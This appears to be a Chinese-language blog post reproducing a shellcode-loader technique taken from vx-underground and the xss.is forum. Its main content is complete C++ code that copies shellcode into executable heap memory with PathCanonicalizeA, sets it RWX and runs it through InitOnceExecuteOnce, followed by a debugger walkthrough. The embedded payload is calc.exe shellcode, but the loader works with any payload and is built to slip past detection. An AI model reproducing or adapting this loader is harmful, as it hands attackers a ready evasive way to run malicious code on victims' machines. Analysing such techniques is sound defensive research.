[TOC]
vx-underground档案中记载的技巧,用一些非常见的函数写入shellcode到内存。原文来自xss.is论坛,这里只记录复现出来的函数。
PathCanonicalizeA
源代码如下,首先HeapCreate()、HeapAlloc()分配dst_shellcode内存空间,使用PathCanonicalizeA()函数将源shellcode逐字节复制到dst_shellcode,修改dst_shellcode内存空间权限为RWX,最后调用**InitOnceExecuteOnce()**执行。
PathCanonicalizeA函数在使用的时候有两个问题,一是遇到0x00字符时终止,二是长度不能过长。所以需要确保源shellcode不能有坏字符,同时shellcode长度不能过长。代码里面是将源shellcode先写到数组,再将数组内容复制到dst_shellcode内存空间。
#include <Windows.h>
#include <Shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")
bool test1() {
// x64 calc.exe shellcode
// https://www.exploit-db.com/shellcodes/49819
unsigned char orig_shellcode[] = "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
"\x48\x83\xec\x20\x41\xff\xd6";
size_t ori_shellcode_size = sizeof orig_shellcode;
LPVOID copied_shellcode = NULL;
HANDLE heap = NULL;
BOOL ret = 0;
int size = 0;
heap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
copied_shellcode = HeapAlloc(heap, 0, ori_shellcode_size);
ZeroMemory(copied_shellcode, ori_shellcode_size);
// copy shellcode
for (size_t i = 0; i < ori_shellcode_size; i++) {
char temp[2] = { 0 };
temp[0] = orig_shellcode[i];
if (!PathCanonicalizeA((LPSTR)(((char*)copied_shellcode) + i), temp)) {
return -1;
}
// clear
orig_shellcode[i] = 0x00;
}
DWORD tempP;
if (!VirtualProtect(copied_shellcode, ori_shellcode_size, PAGE_EXECUTE_READWRITE, &tempP)) {
return -2;
}
// EnumSystemCodePagesA需要 .c
// EnumSystemCodePagesA((CODEPAGE_ENUMPROCA)copied_shellcode, 0);
INIT_ONCE g_InitOnce = INIT_ONCE_STATIC_INIT;
PVOID lpContext;
::InitOnceExecuteOnce(&g_InitOnce, (PINIT_ONCE_FN)copied_shellcode, NULL, &lpContext);
return 0;
}
int main(int argc, char** argv) {
test1();
}
再看下汇编层面程序作了什么,主要是看一下为什么**InitOnceExecuteOnce()**这个函数会执行shellcode
HeapCreate()创建堆内存,0x40000对应源码HEAP_CREATE_ENABLE_EXECUTE
之后进入循环,每次取1位src_shellcode到数组,利用函数PathCanonicalizeA将src_shellcode复制到dst_shellcode。每次复制完成后清理src_shellcode。下图中0x000001CF22250880存放复制后的shellcode。
复制完成后进入InitOnceExecuteOnce()函数,在这个函数中会触发shellcode的执行,参数2中存放的指针就是dst_shellcode的指针。**InitOnceExecuteOnce()函数会调用RtlOnceExecuteOnce()**执行
进入函数之后将shellcode指针移动到rbp,接着判断r10是不是等于2,不等于跳转执行。在下断点的call函数之前,先将rbp的值赋值给了rax。传入的参数RCX=1,RDX=0,R8=0
进入这个call,会先执行jmp指令跳转到rax,后面就是执行dst_shellcode的代码